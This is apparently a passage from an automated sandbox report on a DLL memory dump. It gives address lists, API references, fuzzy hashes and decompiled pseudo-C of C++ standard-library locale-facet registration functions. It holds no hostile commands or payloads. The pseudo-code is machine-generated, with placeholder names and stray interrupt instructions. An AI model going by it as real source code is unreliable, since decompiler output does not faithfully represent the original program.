0x6dd1f7bb
0x6dd1f7c8
0x6dd1f7d0
0x6dd1f7d2
0x00000000
0x6dd1f7d2
0x6dd1f799
0x6dd1f799
0x00000000
0x6dd1f799
0x6dd1f797
0x6dd1f70a
0x6dd1f70a
0x6dd1f70d
0x6dd1f711
0x6dd1f715
0x6dd1f722
0x6dd1f72a
0x6dd1f72c
0x00000000
0x6dd1f72c
0x6dd1f6f3
0x6dd1f6f3
0x00000000
0x6dd1f6f3
0x6dd1f6f1
0x6dd1f664
0x6dd1f664
0x6dd1f667
0x6dd1f66b
0x6dd1f66f
0x6dd1f67c
0x6dd1f684
0x6dd1f686
0x00000000
0x6dd1f686
0x6dd1f64d
0x6dd1f64d
0x00000000
0x6dd1f64d
0x6dd1f64b
0x6dd1f5be
0x6dd1f5be
0x6dd1f5c1
0x6dd1f5c5
0x6dd1f5c9
0x6dd1f5d6
0x6dd1f5de
0x6dd1f5e0
0x00000000
0x6dd1f5e0
0x6dd1f5a7
0x6dd1f5a7
0x00000000
0x6dd1f5a7
0x6dd1f5a5
0x6dd1f518
0x6dd1f518
0x6dd1f51b
0x6dd1f51f
0x6dd1f523
0x6dd1f530
0x6dd1f538
0x6dd1f53a
0x00000000
0x6dd1f53a
0x6dd1f501
0x6dd1f501
0x00000000
0x6dd1f501
0x6dd1f4ff
0x6dd1f472
0x6dd1f472
0x6dd1f475
0x6dd1f479
0x6dd1f47d
0x6dd1f48a
0x6dd1f492
0x6dd1f494
0x00000000
0x6dd1f494
0x6dd1f45b
0x6dd1f45b
0x00000000
0x6dd1f45b
0x6dd1f459
0x6dd1f3cc
0x6dd1f3cc
0x6dd1f3cf
0x6dd1f3d3
0x6dd1f3d7
0x6dd1f3e4
0x6dd1f3ec
0x6dd1f3ee
0x00000000
0x6dd1f3ee
0x6dd1f3b5
0x6dd1f3b5
0x00000000
0x6dd1f3b5
0x6dd1f3b3
0x6dd1f326
0x6dd1f326
0x6dd1f329
0x6dd1f32d
0x6dd1f331
0x6dd1f33e
0x6dd1f346
0x6dd1f348
0x00000000
0x6dd1f348
0x6dd1f30f
0x6dd1f30f
0x00000000
0x6dd1f30f
0x6dd1f30d
0x6dd1f280
0x6dd1f280
0x6dd1f283
0x6dd1f287
0x6dd1f28b
0x6dd1f298
0x6dd1f2a0
0x6dd1f2a2
0x00000000
0x6dd1f2a2
0x6dd1f269
0x6dd1f269
0x00000000
0x6dd1f269
0x6dd1f267
0x6dd1f1da
0x6dd1f1da
0x6dd1f1dd
0x6dd1f1e1
0x6dd1f1e5
0x6dd1f1f2
0x6dd1f1fa
0x6dd1f1fc
0x00000000
0x6dd1f1fc
0x6dd1f1c3
0x6dd1f1c3
0x00000000
0x6dd1f1c3
0x6dd1f1c1
0x6dd1f134
0x6dd1f134
0x6dd1f137
0x6dd1f13b
0x6dd1f13f
0x6dd1f14c
0x6dd1f154
0x6dd1f156
0x00000000
0x6dd1f156
0x6dd1f11d
0x6dd1f11d
0x00000000
0x6dd1f11d
0x6dd1f11b
0x6dd1f08e
0x6dd1f08e
0x6dd1f091
0x6dd1f095
0x6dd1f099
0x6dd1f0a6
0x6dd1f0ae
0x6dd1f0b0
0x00000000
0x6dd1f0b0
0x6dd1f077
0x6dd1f077
0x00000000
0x6dd1f077
0x6dd1f075
0x6dd1efe8
0x6dd1efe8
0x6dd1efeb
0x6dd1efef
0x6dd1eff3
0x6dd1f000
0x6dd1f008
0x6dd1f00a
0x00000000
0x6dd1f00a
0x6dd1efd1
0x6dd1efd1
0x00000000
0x6dd1efd1
0x6dd1efcf

APIs

__EH_prolog3.LIBCMT ref: 6DD1EF98
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1EFA2
int.LIBCPMT ref: 6DD1EFB9

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

collate.LIBCPMT ref: 6DD1EFDC
std::_Facet_Register.LIBCPMT ref: 6DD1EFF3
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F013
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F031

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcollate
String ID:
API String ID: 2363045490-0
Opcode ID: ab0849f9932534cb9617486f61a06a3f3049b2e8ca9537e62394c745714e1043
Instruction ID: 6c1d525d39b082021350c5a692e4e015a3253277d86772ec5aed85d948b57e10
Opcode Fuzzy Hash: ab0849f9932534cb9617486f61a06a3f3049b2e8ca9537e62394c745714e1043
Instruction Fuzzy Hash: 9611BC729081298BCF01FBA4E850BEDB775AF45324F160409F614AB291EB74AA018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1EEEB, Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD1EEF2
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1EEFC
int.LIBCPMT ref: 6DD1EF13

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

codecvt.LIBCPMT ref: 6DD1EF36
std::_Facet_Register.LIBCPMT ref: 6DD1EF4D
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1EF6D
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1EF8B

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcodecvt
String ID:
API String ID: 2594415655-0
Opcode ID: 91641ec7caf632f9815f9694e21032d04106e2a758a441c1f561635a5f6f8241
Instruction ID: 8097fa286d639ab86a45df6e9d29c03b362f57d9d0f452fda0f451847adc1c16
Opcode Fuzzy Hash: 91641ec7caf632f9815f9694e21032d04106e2a758a441c1f561635a5f6f8241
Instruction Fuzzy Hash: 7E11CE7290852ACBCF00FBA4DC50AFDB770EF45324F164009FA10A7290DB70A9098BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F9F1, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD1F9F1(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t83;
				signed int _t84;
				void* _t96;
				void* _t109;
				void* _t122;
				void* _t135;
				signed int _t207;
				signed int _t226;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed int _t236;
				void* _t242;

				_t223 = __edx;
				_t172 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t242 - 0x14, 0);
				_t231 =  *0x6ddd6de0; // 0x0
				 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
				 *(_t242 - 0x10) = _t231;
				_t83 = E6DCF161C(0x6ddd6d8c);
				_t175 =  *((intOrPtr*)(_t242 + 8));
				_t84 = E6DCF171B( *((intOrPtr*)(_t242 + 8)), _t83);
				_t225 = _t84;
				if(_t84 != 0) {
					L5:
					E6DD166BA(_t242 - 0x14);
					return E6DD30075(_t225);
				} else {
					if(_t231 == 0) {
						_push( *((intOrPtr*)(_t242 + 8)));
						_push(_t242 - 0x10);
						__eflags = E6DD21471(__ebx, _t175, __edx, _t225, _t231) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t242 - 0x20);
							E6DD33D74(_t242 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t225, _t231, 0x14);
							E6DD16653(_t242 - 0x14, 0);
							_t232 =  *0x6ddd6dfc; // 0x0
							 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
							 *(_t242 - 0x10) = _t232;
							_t96 = E6DCF161C(0x6ddd6da8);
							_t182 =  *((intOrPtr*)(_t242 + 8));
							_t226 = E6DCF171B( *((intOrPtr*)(_t242 + 8)), _t96);
							__eflags = _t226;
							if(_t226 != 0) {
								L12:
								E6DD166BA(_t242 - 0x14);
								return E6DD30075(_t226);
							} else {
								__eflags = _t232;
								if(_t232 == 0) {
									_push( *((intOrPtr*)(_t242 + 8)));
									_push(_t242 - 0x10);
									__eflags = E6DD214EC(_t172, _t182, __edx, _t226, _t232) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t242 - 0x20);
										E6DD33D74(_t242 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t172, _t226, _t232, 0x14);
										E6DD16653(_t242 - 0x14, 0);
										_t233 =  *0x6ddd6dcc; // 0x0
										 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
										 *(_t242 - 0x10) = _t233;
										_t109 = E6DCF161C(0x6ddd6d80);
										_t189 =  *((intOrPtr*)(_t242 + 8));
										_t227 = E6DCF171B( *((intOrPtr*)(_t242 + 8)), _t109);
										__eflags = _t227;
										if(_t227 != 0) {
											L19:
											E6DD166BA(_t242 - 0x14);
											return E6DD30075(_t227);
										} else {
											__eflags = _t233;
											if(_t233 == 0) {
												_push( *((intOrPtr*)(_t242 + 8)));
												_push(_t242 - 0x10);
												__eflags = E6DD21558(_t172, _t189, __edx, _t227, _t233) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t242 - 0x20);
													E6DD33D74(_t242 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t172, _t227, _t233, 0x14);
													E6DD16653(_t242 - 0x14, 0);
													_t234 =  *0x6ddd6e00; // 0x0
													 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
													 *(_t242 - 0x10) = _t234;
													_t122 = E6DCF161C(0x6ddd6dac);
													_t196 =  *((intOrPtr*)(_t242 + 8));
													_t228 = E6DCF171B( *((intOrPtr*)(_t242 + 8)), _t122);
													__eflags = _t228;
													if(_t228 != 0) {
														L26:
														E6DD166BA(_t242 - 0x14);
														return E6DD30075(_t228);
													} else {
														__eflags = _t234;
														if(_t234 == 0) {
															_push( *((intOrPtr*)(_t242 + 8)));
															_push(_t242 - 0x10);
															__eflags = E6DD215C4(_t172, _t196, _t223, _t228, _t234) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t242 - 0x20);
																E6DD33D74(_t242 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t172, _t228, _t234, 0x14);
																E6DD16653(_t242 - 0x14, 0);
																_t235 =  *0x6ddd6dd0; // 0x0
																 *(_t242 - 4) =  *(_t242 - 4) & 0x00000000;
																 *(_t242 - 0x10) = _t235;
																_t135 = E6DCF161C(0x6ddd6d60);
																_t203 =  *((intOrPtr*)(_t242 + 8));
																_t229 = E6DCF171B( *((intOrPtr*)(_t242 + 8)), _t135);
																__eflags = _t229;
																if(_t229 != 0) {
																	L33:
																	E6DD166BA(_t242 - 0x14);
																	return E6DD30075(_t229);
																} else {
																	__eflags = _t235;
																	if(_t235 == 0) {
																		_push( *((intOrPtr*)(_t242 + 8)));
																		_push(_t242 - 0x10);
																		__eflags = E6DD2162A(_t172, _t203, _t223, _t229, _t235) - 0xffffffff;
																		if(__eflags == 0) {
																			_t207 = _t242 - 0x20;
																			E6DCF1438(_t207);
																			E6DD33D74(_t242 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd7851f, _t172, _t229, _t235, 4);
																			_t236 = _t207;
																			 *(_t242 - 0x10) = _t236;
																			 *((intOrPtr*)(_t236 + 4)) =  *((intOrPtr*)(_t242 + 0xc));
																			_push( *((intOrPtr*)(_t242 + 0x14)));
																			_t77 = _t242 - 4;
																			 *_t77 =  *(_t242 - 4) & 0x00000000;
																			__eflags =  *_t77;
																			 *_t236 = 0x6dd7c0c4;
																			 *((char*)(_t236 + 0x28)) =  *((intOrPtr*)(_t242 + 0x10));
																			E6DD2542F(_t172, _t207, _t223, _t229, _t236,  *_t77);
																			return E6DD30075(_t236,  *((intOrPtr*)(_t242 + 8)));
																		} else {
																			_t229 =  *(_t242 - 0x10);
																			 *(_t242 - 0x10) = _t229;
																			 *(_t242 - 4) = 1;
																			E6DD16FD3(__eflags, _t229);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t229 + 4))))();
																			 *0x6ddd6dd0 = _t229;
																			goto L33;
																		}
																	} else {
																		_t229 = _t235;
																		goto L33;
																	}
																}
															} else {
																_t228 =  *(_t242 - 0x10);
																 *(_t242 - 0x10) = _t228;
																 *(_t242 - 4) = 1;
																E6DD16FD3(__eflags, _t228);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t228 + 4))))();
																 *0x6ddd6e00 = _t228;
																goto L26;
															}
														} else {
															_t228 = _t234;
															goto L26;
														}
													}
												} else {
													_t227 =  *(_t242 - 0x10);
													 *(_t242 - 0x10) = _t227;
													 *(_t242 - 4) = 1;
													E6DD16FD3(__eflags, _t227);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t227 + 4))))();
													 *0x6ddd6dcc = _t227;
													goto L19;
												}
											} else {
												_t227 = _t233;
												goto L19;
											}
										}
									} else {
										_t226 =  *(_t242 - 0x10);
										 *(_t242 - 0x10) = _t226;
										 *(_t242 - 4) = 1;
										E6DD16FD3(__eflags, _t226);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t226 + 4))))();
										 *0x6ddd6dfc = _t226;
										goto L12;
									}
								} else {
									_t226 = _t232;
									goto L12;
								}
							}
						} else {
							_t225 =  *(_t242 - 0x10);
							 *(_t242 - 0x10) = _t225;
							 *(_t242 - 4) = 1;
							E6DD16FD3(__eflags, _t225);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t225 + 4))))();
							 *0x6ddd6de0 = _t225;
							goto L5;
						}
					} else {
						_t225 = _t231;
						goto L5;
					}
				}
			}

0x6dd1f9f1
0x6dd1f9f1
0x6dd1f9f8
0x6dd1fa02
0x6dd1fa07
0x6dd1fa12
0x6dd1fa16
0x6dd1fa19
0x6dd1fa1e
0x6dd1fa22
0x6dd1fa27
0x6dd1fa2b
0x6dd1fa70
0x6dd1fa73
0x6dd1fa7f
0x6dd1fa2d
0x6dd1fa2f
0x6dd1fa35
0x6dd1fa3b
0x6dd1fa43
0x6dd1fa46
0x6dd1fa83
0x6dd1fa91
0x6dd1fa96
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1facd
0x6dd1facf
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5
0x6dd1fa48
0x6dd1fa48
0x6dd1fa4b
0x6dd1fa4f
0x6dd1fa53
0x6dd1fa60
0x6dd1fa68
0x6dd1fa6a
0x00000000
0x6dd1fa6a
0x6dd1fa31
0x6dd1fa31
0x00000000
0x6dd1fa31
0x6dd1fa2f

APIs

__EH_prolog3.LIBCMT ref: 6DD1F9F8
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1FA02
int.LIBCPMT ref: 6DD1FA19

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

numpunct.LIBCPMT ref: 6DD1FA3C
std::_Facet_Register.LIBCPMT ref: 6DD1FA53
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1FA73
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1FA91

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrownumpunct
String ID:
API String ID: 2509942033-0
Opcode ID: 51095fce9569eeb9efe67ac73e0dfa26a92208738baf6a13a70a66cf7f85eac4
Instruction ID: 8642f9ca682983bcadb289adad8a74e5e7c2fafba507a98040bb074f7e37007b
Opcode Fuzzy Hash: 51095fce9569eeb9efe67ac73e0dfa26a92208738baf6a13a70a66cf7f85eac4
Instruction Fuzzy Hash: DF11E076908129CBCF01FBA4DC40AFDB774EF85318F164109F614A7290EB799906CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2B9E4, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD2B9E4(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t69;
				signed int _t70;
				void* _t82;
				void* _t95;
				void* _t108;
				signed int _t169;
				signed int _t185;
				signed int _t186;
				signed int _t187;
				signed int _t189;
				signed int _t190;
				signed int _t191;
				signed int _t192;
				signed int _t193;
				void* _t198;

				_t182 = __edx;
				_t141 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t198 - 0x14, 0);
				_t189 =  *0x6ddd6e3c; // 0x0
				 *(_t198 - 4) =  *(_t198 - 4) & 0x00000000;
				 *(_t198 - 0x10) = _t189;
				_t69 = E6DCF161C(0x6ddd6e1c);
				_t144 =  *((intOrPtr*)(_t198 + 8));
				_t70 = E6DCF171B( *((intOrPtr*)(_t198 + 8)), _t69);
				_t184 = _t70;
				if(_t70 != 0) {
					L5:
					E6DD166BA(_t198 - 0x14);
					return E6DD30075(_t184);
				} else {
					if(_t189 == 0) {
						_push( *((intOrPtr*)(_t198 + 8)));
						_push(_t198 - 0x10);
						__eflags = E6DD2C120(__ebx, _t144, __edx, _t184, _t189) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t198 - 0x20);
							E6DD33D74(_t198 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t184, _t189, 0x14);
							E6DD16653(_t198 - 0x14, 0);
							_t190 =  *0x6ddd6e38; // 0x0
							 *(_t198 - 4) =  *(_t198 - 4) & 0x00000000;
							 *(_t198 - 0x10) = _t190;
							_t82 = E6DCF161C(0x6ddd6e18);
							_t151 =  *((intOrPtr*)(_t198 + 8));
							_t185 = E6DCF171B( *((intOrPtr*)(_t198 + 8)), _t82);
							__eflags = _t185;
							if(_t185 != 0) {
								L12:
								E6DD166BA(_t198 - 0x14);
								return E6DD30075(_t185);
							} else {
								__eflags = _t190;
								if(_t190 == 0) {
									_push( *((intOrPtr*)(_t198 + 8)));
									_push(_t198 - 0x10);
									__eflags = E6DD2C1A4(_t141, _t151, __edx, _t185, _t190) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t198 - 0x20);
										E6DD33D74(_t198 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t141, _t185, _t190, 0x14);
										E6DD16653(_t198 - 0x14, 0);
										_t191 =  *0x6ddd6e40; // 0x0
										 *(_t198 - 4) =  *(_t198 - 4) & 0x00000000;
										 *(_t198 - 0x10) = _t191;
										_t95 = E6DCF161C(0x6ddd6e20);
										_t158 =  *((intOrPtr*)(_t198 + 8));
										_t186 = E6DCF171B( *((intOrPtr*)(_t198 + 8)), _t95);
										__eflags = _t186;
										if(_t186 != 0) {
											L19:
											E6DD166BA(_t198 - 0x14);
											return E6DD30075(_t186);
										} else {
											__eflags = _t191;
											if(_t191 == 0) {
												_push( *((intOrPtr*)(_t198 + 8)));
												_push(_t198 - 0x10);
												__eflags = E6DD2C229(_t141, _t158, __edx, _t186, _t191) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t198 - 0x20);
													E6DD33D74(_t198 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t141, _t186, _t191, 0x14);
													E6DD16653(_t198 - 0x14, 0);
													_t192 =  *0x6ddd6e44; // 0x0
													 *(_t198 - 4) =  *(_t198 - 4) & 0x00000000;
													 *(_t198 - 0x10) = _t192;
													_t108 = E6DCF161C(0x6ddd6e24);
													_t165 =  *((intOrPtr*)(_t198 + 8));
													_t187 = E6DCF171B( *((intOrPtr*)(_t198 + 8)), _t108);
													__eflags = _t187;
													if(_t187 != 0) {
														L26:
														E6DD166BA(_t198 - 0x14);
														return E6DD30075(_t187);
													} else {
														__eflags = _t192;
														if(_t192 == 0) {
															_push( *((intOrPtr*)(_t198 + 8)));
															_push(_t198 - 0x10);
															__eflags = E6DD2C295(_t141, _t165, _t182, _t187, _t192) - 0xffffffff;
															if(__eflags == 0) {
																_t169 = _t198 - 0x20;
																E6DCF1438(_t169);
																E6DD33D74(_t198 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd7851f, _t141, _t187, _t192, 4);
																_t193 = _t169;
																 *(_t198 - 0x10) = _t193;
																 *((intOrPtr*)(_t193 + 4)) =  *((intOrPtr*)(_t198 + 0xc));
																_push( *((intOrPtr*)(_t198 + 0x14)));
																_t63 = _t198 - 4;
																 *_t63 =  *(_t198 - 4) & 0x00000000;
																__eflags =  *_t63;
																 *_t193 = 0x6dd7c414;
																 *((char*)(_t193 + 0x28)) =  *((intOrPtr*)(_t198 + 0x10));
																E6DD2D028(_t141, _t169, _t182, _t187, _t193,  *_t63);
																return E6DD30075(_t193,  *((intOrPtr*)(_t198 + 8)));
															} else {
																_t187 =  *(_t198 - 0x10);
																 *(_t198 - 0x10) = _t187;
																 *(_t198 - 4) = 1;
																E6DD16FD3(__eflags, _t187);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t187 + 4))))();
																 *0x6ddd6e44 = _t187;
																goto L26;
															}
														} else {
															_t187 = _t192;
															goto L26;
														}
													}
												} else {
													_t186 =  *(_t198 - 0x10);
													 *(_t198 - 0x10) = _t186;
													 *(_t198 - 4) = 1;
													E6DD16FD3(__eflags, _t186);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t186 + 4))))();
													 *0x6ddd6e40 = _t186;
													goto L19;
												}
											} else {
												_t186 = _t191;
												goto L19;
											}
										}
									} else {
										_t185 =  *(_t198 - 0x10);
										 *(_t198 - 0x10) = _t185;
										 *(_t198 - 4) = 1;
										E6DD16FD3(__eflags, _t185);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t185 + 4))))();
										 *0x6ddd6e38 = _t185;
										goto L12;
									}
								} else {
									_t185 = _t190;
									goto L12;
								}
							}
						} else {
							_t184 =  *(_t198 - 0x10);
							 *(_t198 - 0x10) = _t184;
							 *(_t198 - 4) = 1;
							E6DD16FD3(__eflags, _t184);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t184 + 4))))();
							 *0x6ddd6e3c = _t184;
							goto L5;
						}
					} else {
						_t184 = _t189;
						goto L5;
					}
				}
			}

0x6dd2b9e4
0x6dd2b9e4
0x6dd2b9eb
0x6dd2b9f5
0x6dd2b9fa
0x6dd2ba05
0x6dd2ba09
0x6dd2ba0c
0x6dd2ba11
0x6dd2ba15
0x6dd2ba1a
0x6dd2ba1e
0x6dd2ba63
0x6dd2ba66
0x6dd2ba72
0x6dd2ba20
0x6dd2ba22
0x6dd2ba28
0x6dd2ba2e
0x6dd2ba36
0x6dd2ba39
0x6dd2ba76
0x6dd2ba84
0x6dd2ba89
0x6dd2ba91
0x6dd2ba9b
0x6dd2baa0
0x6dd2baab
0x6dd2baaf
0x6dd2bab2
0x6dd2bab7
0x6dd2bac0
0x6dd2bac2
0x6dd2bac4
0x6dd2bb09
0x6dd2bb0c
0x6dd2bb18
0x6dd2bac6
0x6dd2bac6
0x6dd2bac8
0x6dd2bace
0x6dd2bad4
0x6dd2badc
0x6dd2badf
0x6dd2bb1c
0x6dd2bb2a
0x6dd2bb2f
0x6dd2bb37
0x6dd2bb41
0x6dd2bb46
0x6dd2bb51
0x6dd2bb55
0x6dd2bb58
0x6dd2bb5d
0x6dd2bb66
0x6dd2bb68
0x6dd2bb6a
0x6dd2bbaf
0x6dd2bbb2
0x6dd2bbbe
0x6dd2bb6c
0x6dd2bb6c
0x6dd2bb6e
0x6dd2bb74
0x6dd2bb7a
0x6dd2bb82
0x6dd2bb85
0x6dd2bbc2
0x6dd2bbd0
0x6dd2bbd5
0x6dd2bbdd
0x6dd2bbe7
0x6dd2bbec
0x6dd2bbf7
0x6dd2bbfb
0x6dd2bbfe
0x6dd2bc03
0x6dd2bc0c
0x6dd2bc0e
0x6dd2bc10
0x6dd2bc55
0x6dd2bc58
0x6dd2bc64
0x6dd2bc12
0x6dd2bc12
0x6dd2bc14
0x6dd2bc1a
0x6dd2bc20
0x6dd2bc28
0x6dd2bc2b
0x6dd2bc65
0x6dd2bc68
0x6dd2bc76
0x6dd2bc7b
0x6dd2bc83
0x6dd2bc88
0x6dd2bc8a
0x6dd2bc90
0x6dd2bc93
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bca0
0x6dd2bca6
0x6dd2bca9
0x6dd2bcb5
0x6dd2bc2d
0x6dd2bc2d
0x6dd2bc30
0x6dd2bc34
0x6dd2bc38
0x6dd2bc45
0x6dd2bc4d
